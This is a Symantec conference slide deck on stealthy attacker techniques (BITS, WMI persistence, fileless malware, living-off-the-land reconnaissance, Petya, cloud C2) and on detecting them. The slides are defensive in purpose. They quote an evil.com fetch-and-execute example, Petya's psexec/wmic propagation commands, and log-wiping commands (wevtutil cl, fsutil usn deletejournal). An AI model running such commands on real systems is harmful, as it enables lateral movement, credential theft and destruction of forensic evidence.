Beware of the Ninjas

Felix Leder <Felix_Leder@Symantec.com>

In a Nutshell – Make the Internet a safer place

- Symantec
  - Commercial Org
  - High quality products
  - Malware Analysis Systems
  - Huuuuge lot of data
  - Patents

- The Honeynet Project
  - Non-Profit Org
  - Open Source
  - Cuckoo Sandbox (2010)
  - Sharing what we can
  - Public training
### Defender’s View

<table>
<thead>
<tr>
<th>Old School - Prevention</th>
<th>New School - Detection</th>
</tr>
</thead>
<tbody>
<tr>
<td>I ask myself <strong>IF</strong> I will get breached.</td>
<td>I ask myself <strong>WHEN</strong> I will get breached.</td>
</tr>
<tr>
<td>What can I do to <strong>PREVENT</strong> breaches?</td>
<td>What can I do to <strong>DETECT</strong> breaches?</td>
</tr>
<tr>
<td>What will I do in such an event? (DFIR aware)</td>
<td></td>
</tr>
</tbody>
</table>

### Attacker’s View

<table>
<thead>
<tr>
<th>Old School – Malicious Software</th>
<th>New School - Ninja</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Software does not breach organizations – People do</strong></td>
<td></td>
</tr>
<tr>
<td>Mission: Do everything to <strong>stay undetected</strong></td>
<td>Mission: <strong>Hide as long as possible</strong></td>
</tr>
<tr>
<td>Tactics:</td>
<td>Tactics:</td>
</tr>
<tr>
<td>• Obfuscation</td>
<td>• Hide in the noise</td>
</tr>
<tr>
<td>• Anti-security tools</td>
<td>• Stay outside monitoring domains</td>
</tr>
<tr>
<td></td>
<td>• Leave minimal traces</td>
</tr>
</tbody>
</table>
Some try...

Some do it better
Some are almost impossible to spot

Security Tool Awareness
Ninjas adjust
Gozi: User Interaction to the Next Level

- Payload encrypted with RANDOM KEY
- Nobody knows random key (not even malware itself)
- Idea: Brute force key based on mouse move
- Eventually a real user decrypts the payload

AI to the max - Ghost User
Leave no trace

Duqu – 2010 - 2011
Example: Duqu 2.0

- Infection:
  - Documents / spear phishing
  - Privilege escalation
  - Pass-the-hash
- **No Persistence** on host
  - Task scheduler
  - Remote execution
- **In Memory only** (evading forensics)
- Three 0-days used
- Internal C2 forwarding
- Traffic hiding in pictures
- Changing encryption

---

Hide

Looking at the ninja in the host
Let Windows do the dirty work

- If Windows/Microsoft is trusted, let it do the dirty work

Fetch http://evil.com/malw.exe and then EXECUTE it

Background Intelligent Transfer Service / BITS
Go where there’s no monitoring - WMI

- Windows Management Instrumentation
- No suspicious APIs; just ask Windows

Win32_NetworkAdapterConfiguration

ExecQuery

option: 20
WQL

select * from AntiVirusProduct

Bluwimps - Persistence through WMI

method_name: PutInstance

option: 14

param_1_str: 

Copyright © 2015 Symantec Corporation
**Poweliks - fileless in the registry**

- Folder opened in File open dialog / explorer...

![Image](image.png)

**Living off the land – Information Gathering**

- Many attack groups use common system tools during their attacks

<table>
<thead>
<tr>
<th>WATERBUG/TURLA</th>
<th>APPLEWORM/LAZARUS</th>
<th>BILLBUG</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>systeminfo</code></td>
<td><code>hostname</code></td>
<td><code>net user</code></td>
</tr>
<tr>
<td><code>net view</code></td>
<td><code>whoami</code></td>
<td><code>ipconfig /vall</code></td>
</tr>
<tr>
<td><code>net view /domain</code></td>
<td><code>ipconfig -all</code></td>
<td><code>net start</code></td>
</tr>
<tr>
<td><code>tasklist /v</code></td>
<td><code>ping www.google.com</code></td>
<td><code>systeminfo</code></td>
</tr>
<tr>
<td><code>arp -a</code></td>
<td><code>query user</code></td>
<td><code>netconfig</code></td>
</tr>
<tr>
<td><code>net share</code></td>
<td><code>net user</code></td>
<td><code>net show</code></td>
</tr>
<tr>
<td><code>net use</code></td>
<td><code>net view</code></td>
<td><code>net use /domain</code></td>
</tr>
<tr>
<td><code>net user administrator</code></td>
<td><code>net view /domain</code></td>
<td><code>tasklist /vs</code></td>
</tr>
<tr>
<td><code>net user administrator /domain</code></td>
<td><code>tasklist /vs</code></td>
<td></td>
</tr>
</tbody>
</table>
Dual-Use Tools: Petya

Petya uses dual-use tools

- Threat is DLL executed by rundll32.exe
- Uses recompiled version of LSADump Mimikatz to get passwords
- Uses PsExec to propagate
  - `\[server_name\]\admin$\perfc.dat`
  - `psexec rundll32.exe c:\windows\perfc.dat #1 <rand>`
- Uses WMI to propagate if PsExec fails
  - `wmic.exe /node:[IP Address]/user:[USERNAME]/password:[PASSWORD] process call create "%System%\rundll32.exe %\Windows\perfc.dat" #1 & 60`
- Scheduled task to restart into the malicious MBR payload
  - `schtasks /RU "SYSTEM" /Create /SC once /TN "" /TR "%System%\shutdown14:42.exe /f /MT /ST`
- Deletes log files to hide traces
  - `wevtutil cl Setup & wevtutil cl System & ... & fsutil usn deletejournal /D %C:`
Not just Windows

- Hidden Lotus on OSX using shell commands

Forensics and Incident Management

- Background Intelligence Transfer Service
- Windows Management Instrumentation
- Dual use tools

- Not necessarily files on disk
- (a lot of) Activities started
- Know your environment → spot anomalies
  - Powershell on secretaries computer?
  - Windows downloading updates from Russia, China, or Sweden?
  - HR department invoking `net view /domain` commands
Hide behind the Clouds

Short History of Malware C2
Twitter Botnet as example

- Prevention: Block Twitter?
- Incident Response: Retrospective Twitter traffic analysis?
  - Signal 2 noise ratio low
  - TLS – blind spots?
    - Endpoint monitoring?
    - Encrypted traffic mgmt.?
    - NSS Key Log File?

Inception Framework

- Targeted attack (mostly Russian targets)
- Exfiltrate to Cloud provider
Fake Updates campaigns

- Use of global cloud services

Can you rule out the cloud?
Direct cloud transfers

Find the breach

- What went where and when?
- What was shared with whom?
- What type of files were transferred? (docs w/ act. content, exe, ...)
- What was modified by whom?
- Trace deleted files?
- Scale: 1000 users w/ 1000 file operations per day

Cloud forensics
Ready for Cloud IR?

- Can you look into encrypted traffic? (post-breach)

- Overview over activities in your Cloud services? (spot breaches)
  - What actions would be suspicious?
  - Different user groups / different behaviors?

- Procedures for IR? (post-breach)

Running your own Cloud service
Do NOT ask: “If I will get breached?”

WHEN will I get breached?
Do NOT ask: “If I will get breached?”

WHEN will I get breached?
and
How will I learn about it?

Cloud Pets

- Send messages to Pet
- Pet can record messages and send back
- MongoDB with all accounts publicly accessible on Internet
  - User accounts
  - Messages

Cloud Pets

- Send messages to Pet
- Pet can record messages and send back
- MongoDB with all accounts publicly accessible on Internet
  - User accounts
  - Messages


Becoming more Intimate

Breaking the Internet of Vibrating Things

What we learned reverse-engineering Bluetooth- and internet-enabled adult toys

goldfish & followers

DEF CON 2016
Becoming more Intimate

And more intimate...
And more intimate...

It happens every day...
Incident process

Clear boundaries ➔ shorten discovery

**Define** “Normality”

- Yes, policies are a pain
- What is normal? What is know to be outside the norm?

**Learn** “Normality”

- Every cloud app is different
- Standard behavior can be learned
Example: Virtual Private Cloud

Example: Containers
Example: Container & Microservices

Example: Microservice workflows
Secure VM in the Cloud (like on-premise)

Amazon Machine Image (AMI)

Host IDS

Whitelist

EDR

The more you know, the faster you react
Anti Forensics

Smoke loader a.k.a. Dofoil

- Extendable Trojan Kit
- Ring 3-rootkit (32-bit)
  - Hide processes
  - Hide registry
  - Hide files
- Kill security tools
- Inject into explorer.exe
Not just Windows

- Hidden Lotus on OSX with anti-forensics

Get your facts straight 😊
Cyberwar
Iranian attack on Bowman dam, 2013

http://westernriverimages.photoshelter.com/image/I0000.gezYGWvQX4

Cyberwar
Iranian attack on Bowman dam, 2013

Summary

- Attackers will always adjust – Ninjas hide in the noise
- Attackers will always use systems in unusual ways

- Log & record the he** out of your systems
  - System logs (remote)
  - EDR
  - Network logs (think encrypted traffic)

- Define / learn what is “normal”
  - Users
  - Systems
  - Architecture

- Be the first to notice → Set up alerting
Thank you!

Felix_Leder@Symantec.com